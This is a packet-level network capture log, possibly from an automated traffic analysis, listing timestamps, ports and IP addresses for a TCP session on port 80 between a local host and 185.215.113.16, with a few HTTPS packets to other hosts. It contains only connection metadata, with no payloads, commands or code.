Nov 18, 2024 21:04:22.310519934 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.310537100 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.310566902 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.311307907 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.311330080 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.311342001 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.311353922 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.311356068 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.311366081 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.311378956 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.311379910 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.311403036 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.311433077 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.312172890 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.312191010 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.312201023 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.312212944 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.312222958 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.312242031 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.312279940 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.313031912 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.313044071 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.313054085 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.313066006 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.313076973 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.313088894 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.313095093 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.313131094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.313131094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.313836098 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.315501928 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.454878092 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.454895020 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.454907894 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.454989910 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.454991102 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.455241919 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.455252886 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.455264091 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.455276012 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.455290079 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.455358028 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.455358028 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.455683947 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.455693960 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.455703974 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.455714941 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.455724955 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.455735922 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.455771923 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.455773115 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.456726074 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.456737041 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.456747055 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.456756115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.456765890 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.456773996 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.456787109 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.456787109 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.456823111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.457325935 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.457335949 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.457345963 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.457355976 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.457365990 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.457376957 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.457376957 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.457417965 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.457417965 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.457417965 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.458172083 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.458198071 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.458208084 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.458219051 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.458230019 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.458244085 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.458256006 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.458256006 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.458306074 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.459028959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459042072 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459055901 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459067106 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459078074 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459090948 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.459126949 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.459126949 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.459882021 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459894896 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459903955 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459916115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459928036 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459938049 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.459939003 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.459961891 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.459994078 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.460736990 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.460750103 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.460758924 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.460769892 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.460781097 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.460786104 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.460793018 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.460818052 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.460864067 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.461570024 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.461582899 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.461592913 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.461606026 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.461616993 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.461632013 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.461632013 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.461667061 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.462284088 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.462296009 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.462305069 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.462316990 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.462327003 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.462337971 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.462340117 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.462347984 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.462359905 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.462368011 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.462368011 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.462372065 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.462383986 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.462388992 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.462419033 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.462449074 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.463238955 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.463252068 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.463262081 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.463273048 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.463284016 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.463294983 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.463303089 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.463303089 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.463305950 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.463363886 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.463363886 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.464188099 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.464200020 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.464210033 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.464221001 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.464231014 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.464241982 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.464246035 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.464255095 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.464267969 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.464268923 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.464278936 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.464289904 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.464315891 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.464315891 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.465137005 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.465148926 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.465158939 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.465169907 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.465179920 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.465184927 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.465190887 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.465203047 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.465207100 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.465228081 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.465260029 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.466073990 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.466088057 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.466098070 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.466109037 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.466120005 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.466130972 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.466137886 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.466141939 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.466160059 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.466161013 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.466181993 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.466218948 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.466218948 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.466921091 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.466972113 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.466990948 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467004061 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467014074 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467025995 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467036963 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467045069 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.467063904 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.467093945 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.467711926 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467724085 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467734098 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467745066 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467756987 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467766047 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.467768908 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467782021 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.467784882 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.467807055 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.467834949 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.468656063 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.468667984 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.468677044 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.468688011 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.468699932 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.468712091 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.468718052 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.468718052 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.468724966 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.468738079 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.468743086 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.468766928 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.468790054 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.469604015 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.469615936 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.469625950 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.469638109 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.469650030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.469654083 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.469660997 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.469672918 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.469676971 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.469683886 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.469697952 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.469723940 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.469723940 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.470465899 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.470477104 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.470487118 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.470498085 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.470510006 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.470525980 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.470527887 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.470537901 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.470549107 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.470561028 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.470566988 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.470597029 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.470597029 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.471420050 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.471431971 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.471441984 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.471453905 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.471465111 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.471468925 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.471477032 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.471487999 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.471489906 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.471501112 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.471510887 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.471514940 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.471534014 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.471554041 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.472376108 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.472388029 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.472398043 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.472408056 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.472419977 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.472429037 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.472430944 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.472429037 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.472438097 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.472450972 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.472453117 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.472460985 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.472471952 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.472496986 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.472527027 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.473328114 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.473340988 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.473350048 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.473361015 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.473372936 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.473385096 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.473396063 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.473396063 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.473396063 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.473407984 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.473419905 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.473428011 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.473428011 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.473448992 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.473472118 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.474266052 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.474277973 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.474287987 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.474298954 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.474312067 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.474315882 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.474315882 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.474323988 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.474335909 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.474344969 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.474345922 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.474347115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.474365950 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.474387884 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.475198030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.475209951 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.475219965 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.475230932 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.475241899 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.475253105 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.475255966 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.475260019 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.475277901 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.475279093 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.475291967 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.475301981 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.475301981 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.475352049 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.476001024 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.476012945 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.476022959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.476035118 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.476061106 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.476061106 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.476083994 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.513679981 CET	443	49854	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:22.513796091 CET	443	49854	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:22.513992071 CET	49854	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:22.528526068 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.545101881 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.545280933 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.578207016 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.608184099 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.608247042 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.608258963 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.608254910 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.608336926 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.608336926 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.608402967 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.608414888 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.608427048 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.608448029 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.608483076 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.608681917 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.608727932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.608748913 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.608805895 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.608916998 CET	80	49853	185.215.113.16	192.168.2.4
